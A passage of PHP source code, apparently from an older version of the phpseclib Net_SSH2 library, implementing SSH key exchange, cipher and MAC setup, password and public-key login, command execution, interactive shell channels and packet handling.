$this->encryption_algorithms_server_to_client); $i++); if ($i == count($encryption_algorithms)) { user_error('No compatible server to client encryption algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $decrypt = $encryption_algorithms[$i]; switch ($decrypt) { case '3des-cbc': case '3des-ctr': $decryptKeyLength = 24; break; case 'aes256-cbc': case 'aes256-ctr': $decryptKeyLength = 32; break; case 'aes192-cbc': case 'aes192-ctr': $decryptKeyLength = 24; break; case 'aes128-cbc': case 'aes128-ctr': $decryptKeyLength = 16; break; case 'none'; $decryptKeyLength = 0; } for ($i = 0; $i < count($encryption_algorithms) && !in_array($encryption_algorithms[$i], $this->encryption_algorithms_client_to_server); $i++); if ($i == count($encryption_algorithms)) { user_error('No compatible client to server encryption algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $encrypt = $encryption_algorithms[$i]; switch ($encrypt) { case '3des-cbc': case '3des-ctr': $encryptKeyLength = 24; break; case 'aes256-cbc': case 'aes256-ctr': $encryptKeyLength = 32; break; case 'aes192-cbc': case 'aes192-ctr': $encryptKeyLength = 24; break; case 'aes128-cbc': case 'aes128-ctr': $encryptKeyLength = 16; break; case 'none'; $encryptKeyLength = 0; } $keyLength = $decryptKeyLength > $encryptKeyLength ? $decryptKeyLength : $encryptKeyLength; for ($i = 0; $i < count($kex_algorithms) && !in_array($kex_algorithms[$i], $this->kex_algorithms); $i++); if ($i == count($kex_algorithms)) { user_error('No compatible key exchange algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } switch ($kex_algorithms[$i]) { case 'diffie-hellman-group1-sha1': $p = pack('H256', 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74' . '020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437' . '4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED' . 'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF'); $keyLength = $keyLength < 160 ? $keyLength : 160; $hash = 'sha1'; break; case 'diffie-hellman-group14-sha1': $p = pack('H512', 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74' . '020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437' . '4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED' . 'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF05' . '98DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB' . '9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B' . 'E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718' . '3995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'); $keyLength = $keyLength < 160 ? $keyLength : 160; $hash = 'sha1'; } $p = new Math_BigInteger($p, 256); $q = new Math_BigInteger(1); $q = $q->bitwise_leftShift(2 * $keyLength); $q = $q->subtract(new Math_BigInteger(1)); $g = new Math_BigInteger(2); $x = new Math_BigInteger(); $x->setRandomGenerator('crypt_random'); $x = $x->random(new Math_BigInteger(1) , $q); $e = $g->modPow($x, $p); $eBytes = $e->toBytes(true); $data = pack('CNa*', NET_SSH2_MSG_KEXDH_INIT, strlen($eBytes) , $eBytes); if (!$this->_send_binary_packet($data)) { user_error('Connection closed by server', E_USER_NOTICE); return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_KEXDH_REPLY) { user_error('Expected SSH_MSG_KEXDH_REPLY', E_USER_NOTICE); return false; } $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->server_public_host_key = $server_public_host_key = $this->_string_shift($response, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $public_key_format = $this->_string_shift($server_public_host_key, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $fBytes = $this->_string_shift($response, $temp['length']); $f = new Math_BigInteger($fBytes, -256); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->signature = $this->_string_shift($response, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($this->signature, 4)); $this->signature_format = $this->_string_shift($this->signature, $temp['length']); $key = $f->modPow($x, $p); $keyBytes = $key->toBytes(true); $this->exchange_hash = pack('Na*Na*Na*Na*Na*Na*Na*Na*', strlen($this->identifier) , $this->identifier, strlen($this->server_identifier) , $this->server_identifier, strlen($kexinit_payload_client) , $kexinit_payload_client, strlen($kexinit_payload_server) , $kexinit_payload_server, strlen($this->server_public_host_key) , $this->server_public_host_key, strlen($eBytes) , $eBytes, strlen($fBytes) , $fBytes, strlen($keyBytes) , $keyBytes); $this->exchange_hash = pack('H*', $hash($this->exchange_hash)); if ($this->session_id === false) { $this->session_id = $this->exchange_hash; } for ($i = 0; $i < count($server_host_key_algorithms) && !in_array($server_host_key_algorithms[$i], $this->server_host_key_algorithms); $i++); if ($i == count($server_host_key_algorithms)) { user_error('No compatible server host key algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } if ($public_key_format != $server_host_key_algorithms[$i] || $this->signature_format != $server_host_key_algorithms[$i]) { user_error('Sever Host Key Algorithm Mismatch', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $packet = pack('C', NET_SSH2_MSG_NEWKEYS); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_NEWKEYS) { user_error('Expected SSH_MSG_NEWKEYS', E_USER_NOTICE); return false; } switch ($encrypt) { case 'aes256-cbc': case 'aes192-cbc': case 'aes128-cbc': $this->encrypt = new Crypt_AES(); $this->encrypt_block_size = 16; break; case 'aes256-ctr': case 'aes192-ctr': case 'aes128-ctr': $this->encrypt = new Crypt_AES(CRYPT_AES_MODE_CTR); $this->encrypt_block_size = 16; break; case 'none'; } switch ($decrypt) { case 'aes256-cbc': case 'aes192-cbc': case 'aes128-cbc': $this->decrypt = new Crypt_AES(); $this->decrypt_block_size = 16; break; case 'aes256-ctr': case 'aes192-ctr': case 'aes128-ctr': $this->decrypt = new Crypt_AES(CRYPT_AES_MODE_CTR); $this->decrypt_block_size = 16; break; case 'none'; } $keyBytes = pack('Na*', strlen($keyBytes) , $keyBytes); if ($this->encrypt) { $this->encrypt->enableContinuousBuffer(); $this->encrypt->disablePadding(); $iv = pack('H*', $hash($keyBytes . $this->exchange_hash . 'A' . $this->session_id)); while ($this->encrypt_block_size > strlen($iv)) { $iv.= pack('H*', $hash($keyBytes . $this->exchange_hash . $iv)); } $this->encrypt->setIV(substr($iv, 0, $this->encrypt_block_size)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'C' . $this->session_id)); while ($encryptKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->encrypt->setKey(substr($key, 0, $encryptKeyLength)); } if ($this->decrypt) { $this->decrypt->enableContinuousBuffer(); $this->decrypt->disablePadding(); $iv = pack('H*', $hash($keyBytes . $this->exchange_hash . 'B' . $this->session_id)); while ($this->decrypt_block_size > strlen($iv)) { $iv.= pack('H*', $hash($keyBytes . $this->exchange_hash . $iv)); } $this->decrypt->setIV(substr($iv, 0, $this->decrypt_block_size)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'D' . $this->session_id)); while ($decryptKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->decrypt->setKey(substr($key, 0, $decryptKeyLength)); } for ($i = 0; $i < count($mac_algorithms) && !in_array($mac_algorithms[$i], $this->mac_algorithms_client_to_server); $i++); if ($i == count($mac_algorithms)) { user_error('No compatible client to server message authentication algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $createKeyLength = 0; switch ($mac_algorithms[$i]) { case 'hmac-sha1': $this->hmac_create = new Crypt_Hash('sha1'); $createKeyLength = 20; break; case 'hmac-sha1-96': $this->hmac_create = new Crypt_Hash('sha1-96'); $createKeyLength = 20; break; case 'hmac-md5': $this->hmac_create = new Crypt_Hash('md5'); $createKeyLength = 16; break; case 'hmac-md5-96': $this->hmac_create = new Crypt_Hash('md5-96'); $createKeyLength = 16; } for ($i = 0; $i < count($mac_algorithms) && !in_array($mac_algorithms[$i], $this->mac_algorithms_server_to_client); $i++); if ($i == count($mac_algorithms)) { user_error('No compatible server to client message authentication algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $checkKeyLength = 0; $this->hmac_size = 0; switch ($mac_algorithms[$i]) { case 'hmac-sha1': $this->hmac_check = new Crypt_Hash('sha1'); $checkKeyLength = 20; $this->hmac_size = 20; break; case 'hmac-sha1-96': $this->hmac_check = new Crypt_Hash('sha1-96'); $checkKeyLength = 20; $this->hmac_size = 12; break; case 'hmac-md5': $this->hmac_check = new Crypt_Hash('md5'); $checkKeyLength = 16; $this->hmac_size = 16; break; case 'hmac-md5-96': $this->hmac_check = new Crypt_Hash('md5-96'); $checkKeyLength = 16; $this->hmac_size = 12; } $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'E' . $this->session_id)); while ($createKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->hmac_create->setKey(substr($key, 0, $createKeyLength)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'F' . $this->session_id)); while ($checkKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->hmac_check->setKey(substr($key, 0, $checkKeyLength)); for ($i = 0; $i < count($compression_algorithms) && !in_array($compression_algorithms[$i], $this->compression_algorithms_server_to_client); $i++); if ($i == count($compression_algorithms)) { user_error('No compatible server to client compression algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $this->decompress = $compression_algorithms[$i] == 'zlib'; for ($i = 0; $i < count($compression_algorithms) && !in_array($compression_algorithms[$i], $this->compression_algorithms_client_to_server); $i++); if ($i == count($compression_algorithms)) { user_error('No compatible client to server compression algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $this->compress = $compression_algorithms[$i] == 'zlib'; return true; } function login($username, $password = '') { if (!($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR)) { return false; } $packet = pack('CNa*', NET_SSH2_MSG_SERVICE_REQUEST, strlen('ssh-userauth') , 'ssh-userauth'); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_SERVICE_ACCEPT) { user_error('Expected SSH_MSG_SERVICE_ACCEPT', E_USER_NOTICE); return false; } if (is_object($password) && strtolower(get_class($password)) == 'crypt_rsa') { return $this->_privatekey_login($username, $password); } $utf8_password = utf8_encode($password); $packet = pack('CNa*Na*Na*CNa*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('password') , 'password', 0, strlen($utf8_password) , $utf8_password); if (!$this->_send_binary_packet($packet)) { return false; } if (defined('NET_SSH2_LOGGING') && NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $packet = pack('CNa*Na*Na*CNa*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen('username') , 'username', strlen('ssh-connection') , 'ssh-connection', strlen('password') , 'password', 0, strlen('password') , 'password'); $this->message_log[count($this->message_log) - 1] = $packet; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = 'NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ'; } extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_PASSWD_CHANGEREQ: ' . utf8_decode($this->_string_shift($response, $length)); return $this->_disconnect(NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER); case NET_SSH2_MSG_USERAUTH_FAILURE: extract(unpack('Nlength', $this->_string_shift($response, 4))); $auth_methods = explode(',', $this->_string_shift($response, $length)); if (in_array('keyboard-interactive', $auth_methods)) { if ($this->_keyboard_interactive_login($username, $password)) { $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } return false; case NET_SSH2_MSG_USERAUTH_SUCCESS: $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } function _keyboard_interactive_login($username, $password) { $packet = pack('CNa*Na*Na*Na*Na*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('keyboard-interactive') , 'keyboard-interactive', 0, '', 0, ''); if (!$this->_send_binary_packet($packet)) { return false; } return $this->_keyboard_interactive_process($password); } function _keyboard_interactive_process() { $responses = func_get_args(); $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_INFO_REQUEST: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_INFO_REQUEST', $this->message_number_log[count($this->message_number_log) - 1]); } extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nnum_prompts', $this->_string_shift($response, 4))); $packet = $logged = pack('CN', NET_SSH2_MSG_USERAUTH_INFO_RESPONSE, count($responses)); for ($i = 0; $i < count($responses); $i++) { $packet.= pack('Na*', strlen($responses[$i]) , $responses[$i]); $logged.= pack('Na*', strlen('dummy-answer') , 'dummy-answer'); } if (!$this->_send_binary_packet($packet)) { return false; } if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_INFO_RESPONSE', $this->message_number_log[count($this->message_number_log) - 1]); $this->message_log[count($this->message_log) - 1] = $logged; } return $this->_keyboard_interactive_process(); case NET_SSH2_MSG_USERAUTH_SUCCESS: return true; case NET_SSH2_MSG_USERAUTH_FAILURE: return false; } return false; } function _privatekey_login($username, $privatekey) { $publickey = $privatekey->getPublicKey(CRYPT_RSA_PUBLIC_FORMAT_RAW); if ($publickey === false) { return false; } $publickey = array( 'e' => $publickey['e']->toBytes(true) , 'n' => $publickey['n']->toBytes(true) ); $publickey = pack('Na*Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publickey['e']) , $publickey['e'], strlen($publickey['n']) , $publickey['n']); $part1 = pack('CNa*Na*Na*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('publickey') , 'publickey'); $part2 = pack('Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publickey) , $publickey); $packet = $part1 . chr(0) . $part2; if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_FAILURE: extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_FAILURE: ' . $this->_string_shift($response, $length); return $this->_disconnect(NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER); case NET_SSH2_MSG_USERAUTH_PK_OK: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_PK_OK', $this->message_number_log[count($this->message_number_log) - 1]); } } $packet = $part1 . chr(1) . $part2; $privatekey->setSignatureMode(CRYPT_RSA_SIGNATURE_PKCS1); $signature = $privatekey->sign(pack('Na*a*', strlen($this->session_id) , $this->session_id, $packet)); $signature = pack('Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($signature) , $signature); $packet.= pack('Na*', strlen($signature) , $signature); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_FAILURE: return false; case NET_SSH2_MSG_USERAUTH_SUCCESS: $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } function exec($command, $block = true) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { return false; } $this->window_size_client_to_server[NET_SSH2_CHANNEL_EXEC] = 0x7FFFFFFF; $packet_size = 0x4000; $packet = pack('CNa*N3', NET_SSH2_MSG_CHANNEL_OPEN, strlen('session') , 'session', NET_SSH2_CHANNEL_EXEC, $this->window_size_client_to_server[NET_SSH2_CHANNEL_EXEC], $packet_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_OPEN; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); if ($response === false) { return false; } $packet = pack('CNNa*CNa*', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_EXEC], strlen('exec') , 'exec', 1, strlen($command) , $command); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_REQUEST; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); if ($response === false) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_DATA; if (!$block) { return true; } $output = ''; while (true) { $temp = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); switch (true) { case $temp === true: return $output; case $temp === false: return false; default: $output.= $temp; } } } function _initShell() { $this->window_size_client_to_server[NET_SSH2_CHANNEL_SHELL] = 0x7FFFFFFF; $packet_size = 0x4000; $packet = pack('CNa*N3', NET_SSH2_MSG_CHANNEL_OPEN, strlen('session') , 'session', NET_SSH2_CHANNEL_SHELL, $this->window_size_client_to_server[NET_SSH2_CHANNEL_SHELL], $packet_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_OPEN; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); if ($response === false) { return false; } $terminal_modes = pack('C', NET_SSH2_TTY_OP_END); $packet = pack('CNNa*CNa*N5a*', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_SHELL], strlen('pty-req') , 'pty-req', 1, strlen('vt100') , 'vt100', 80, 24, 0, 0, strlen($terminal_modes) , $terminal_modes); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } list(, $type) = unpack('C', $this->_string_shift($response, 1)); switch ($type) { case NET_SSH2_MSG_CHANNEL_SUCCESS: break; case NET_SSH2_MSG_CHANNEL_FAILURE: default: user_error('Unable to request pseudo-terminal', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $packet = pack('CNNa*C', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_SHELL], strlen('shell') , 'shell', 1); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_REQUEST; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); if ($response === false) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_DATA; $this->bitmap|= NET_SSH2_MASK_SHELL; return true; } function read($expect, $mode = NET_SSH2_READ_SIMPLE) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { user_error('Operation disallowed prior to login()', E_USER_NOTICE); return false; } if (!($this->bitmap & NET_SSH2_MASK_SHELL) && !$this->_initShell()) { user_error('Unable to initiate an interactive shell session', E_USER_NOTICE); return false; } $match = $expect; while (true) { if ($mode == NET_SSH2_READ_REGEX) { preg_match($expect, $this->interactiveBuffer, $matches); $match = $matches[0]; } $pos = strpos($this->interactiveBuffer, $match); if ($pos !== false) { return $this->_string_shift($this->interactiveBuffer, $pos + strlen($match)); } $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); $this->interactiveBuffer.= $response; } } function write($cmd) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { user_error('Operation disallowed prior to login()', E_USER_NOTICE); return false; } if (!($this->bitmap & NET_SSH2_MASK_SHELL) && !$this->_initShell()) { user_error('Unable to initiate an interactive shell session', E_USER_NOTICE); return false; } return $this->_send_channel_packet(NET_SSH2_CHANNEL_SHELL, $cmd); } function disconnect() { $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } function __destruct() { $this->disconnect(); } function _get_binary_packet() { if (feof($this->fsock)) { user_error('Connection closed prematurely', E_USER_NOTICE); return false; } $start = strtok(microtime() , ' ') + strtok(''); $raw = fread($this->fsock, $this->decrypt_block_size); $stop = strtok(microtime() , ' ') + strtok(''); if (empty($raw)) { return ''; } if ($this->decrypt !== false) { $raw = $this->decrypt->decrypt($raw); } extract(unpack('Npacket_length/Cpadding_length', $this->_string_shift($raw, 5))); $remaining_length = $packet_length + 4 - $this->decrypt_block_size; $buffer = ''; while ($remaining_length > 0) { $temp = fread($this->fsock, $remaining_length); $buffer.= $temp; $remaining_length-= strlen($temp); } if (!empty($buffer)) { $raw.= $this->decrypt !== false ? $this->decrypt->decrypt($buffer) : $buffer; $buffer = $temp = ''; } $payload = $this->_string_shift($raw, $packet_length - $padding_length - 1); $padding = $this->_string_shift($raw, $padding_length); if ($this->hmac_check !== false) { $hmac = fread($this->fsock, $this->hmac_size); if ($hmac != $this->hmac_check->hash(pack('NNCa*', $this->get_seq_no, $packet_length, $padding_length, $payload . $padding))) { user_error('Invalid HMAC', E_USER_NOTICE); return false; } } $this->get_seq_no++; if (defined('NET_SSH2_LOGGING')) { $temp = isset($this->message_numbers[ord($payload[0]) ]) ? $this->message_numbers[ord($payload[0]) ] : 'UNKNOWN (' . ord($payload[0]) . ')'; $this->message_number_log[] = '<- ' . $temp . ' (' . round($stop - $start, 4) . 's)'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = substr($payload, 1); } } return $this->_filter($payload); } function _filter($payload) { switch (ord($payload[0])) { case NET_SSH2_MSG_DISCONNECT: $this->_string_shift($payload, 1); extract(unpack('Nreason_code/Nlength', $this->_string_shift($payload, 8))); $this->errors[] = 'SSH_MSG_DISCONNECT: ' . $this->disconnect_reasons[$reason_code] . "\r\n" . utf8_decode($this->_string_shift($payload, $length)); $this->bitmask = 0; return false; case NET_SSH2_MSG_IGNORE: $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_DEBUG: $this->_string_shift($payload, 2); extract(unpack('Nlength', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_DEBUG: ' . utf8_decode($this->_string_shift($payload, $length)); $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_UNIMPLEMENTED: return false; case NET_SSH2_MSG_KEXINIT: if ($this->session_id !== false) { if (!$this->_key_exchange($payload)) { $this->bitmask = 0; return false; } $payload = $this->_get_binary_packet(); } } if (($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR) && !($this->bitmap & NET_SSH2_MASK_LOGIN) && ord($payload[0]) == NET_SSH2_MSG_USERAUTH_BANNER) { $this->_string_shift($payload, 1); extract(unpack('Nlength', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_BANNER: ' . utf8_decode($this->_string_shift($payload, $length)); $payload = $this->_get_binary_packet(); } if (($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR) && ($this->bitmap & NET_SSH2_MASK_LOGIN)) { switch (ord($payload[0])) { case NET_SSH2_MSG_GLOBAL_REQUEST: $this->_string_shift($payload, 1); extract(unpack('Nlength', $this->_string_shift($payload))); $this->errors[] = 'SSH_MSG_GLOBAL_REQUEST: ' . utf8_decode($this->_string_shift($payload, $length)); if (!$this->_send_binary_packet(pack('C', NET_SSH2_MSG_REQUEST_FAILURE))) { return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_CHANNEL_OPEN: $this->_string_shift($payload, 1); extract(unpack('N', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_CHANNEL_OPEN: ' . utf8_decode($this->_string_shift($payload, $length)); $this->_string_shift($payload, 4); extract(unpack('Nserver_channel', $this->_string_shift($payload, 4))); $packet = pack('CN3a*Na*', NET_SSH2_MSG_REQUEST_FAILURE, $server_channel, NET_SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED, 0, '', 0, ''); if (!$this->_send_binary_packet($packet)) { return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST: $payload = $this->_get_binary_packet(); } } return $payload; } function _get_channel_packet($client_channel, $skip_extended = false) { if (!empty($this->channel_buffers[$client_channel])) { return array_shift($this->channel_buffers[$client_channel]); } while (true) { $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } if (empty($response)) { return ''; } extract(unpack('Ctype/Nchannel', $this->_string_shift($response, 5))); switch ($this->channel_status[$channel]) { case NET_SSH2_MSG_CHANNEL_OPEN: switch ($type) { case NET_SSH2_MSG_CHANNEL_OPEN_CONFIRMATION: extract(unpack('Nserver_channel', $this->_string_shift($response, 4))); $this->server_channels[$client_channel] = $server_channel; $this->_string_shift($response, 4); $temp = unpack('Npacket_size_client_to_server', $this->_string_shift($response, 4)); $this->packet_size_client_to_server[$client_channel] = $temp['packet_size_client_to_server']; return true; default: user_error('Unable to open channel', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } break; case NET_SSH2_MSG_CHANNEL_REQUEST: switch ($type) { case NET_SSH2_MSG_CHANNEL_SUCCESS: return true; default: user_error('Unable to request pseudo-terminal', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } } switch ($type) { case NET_SSH2_MSG_CHANNEL_DATA: extract(unpack('Nlength', $this->_string_shift($response, 4))); $data = $this->_string_shift($response, $length); if ($client_channel == $channel) { return $data; } if (!isset($this->channel_buffers[$client_channel])) { $this->channel_buffers[$client_channel] = array(); } $this->channel_buffers[$client_channel][] = $data; break; case NET_SSH2_MSG_CHANNEL_EXTENDED_DATA: if ($skip_extended) { break; } extract(unpack('Ndata_type_code/Nlength', $this->_string_shift($response, 8))); $data = $this->_string_shift($response, $length); if ($client_channel == $channel) { return $data; } if (!isset($this->channel_buffers[$client_channel])) { $this->channel_buffers[$client_channel] = array(); } $this->channel_buffers[$client_channel][] = $data; break; case NET_SSH2_MSG_CHANNEL_REQUEST: extract(unpack('Nlength', $this->_string_shift($response, 4))); $value = $this->_string_shift($response, $length); switch ($value) { case 'exit-signal': $this->_string_shift($response, 1); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_CHANNEL_REQUEST (exit-signal): ' . $this->_string_shift($response, $length); $this->_string_shift($response, 1); extract(unpack('Nlength', $this->_string_shift($response, 4))); if ($length) { $this->errors[count($this->errors) ].= "\r\n" . $this->_string_shift($response, $length); } default: break; } break; case NET_SSH2_MSG_CHANNEL_CLOSE: $this->_send_binary_packet(pack('CN', NET_SSH2_MSG_CHANNEL_CLOSE, $this->server_channels[$channel])); return true; case NET_SSH2_MSG_CHANNEL_EOF: break; default: user_error('Error reading channel data', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } } } function _send_binary_packet($data) { if (feof($this->fsock)) { user_error('Connection closed prematurely', E_USER_NOTICE); return false; } $packet_length = strlen($data) + 9; $packet_length+= (($this->encrypt_block_size - 1) * $packet_length) % $this->encrypt_block_size; $padding_length = $packet_length - strlen($data) - 5; $padding = ''; for ($i = 0; $i < $padding_length; $i++) { $padding.= chr(crypt_random(0, 255)); } $packet = pack('NCa*', $packet_length - 4, $padding_length, $data . $padding); $hmac = $this->hmac_create !== false ? $this->hmac_create->hash(pack('Na*', $this->send_seq_no, $packet)) : ''; $this->send_seq_no++; if ($this->encrypt !== false) { $packet = $this->encrypt->encrypt($packet); } $packet.= $hmac; 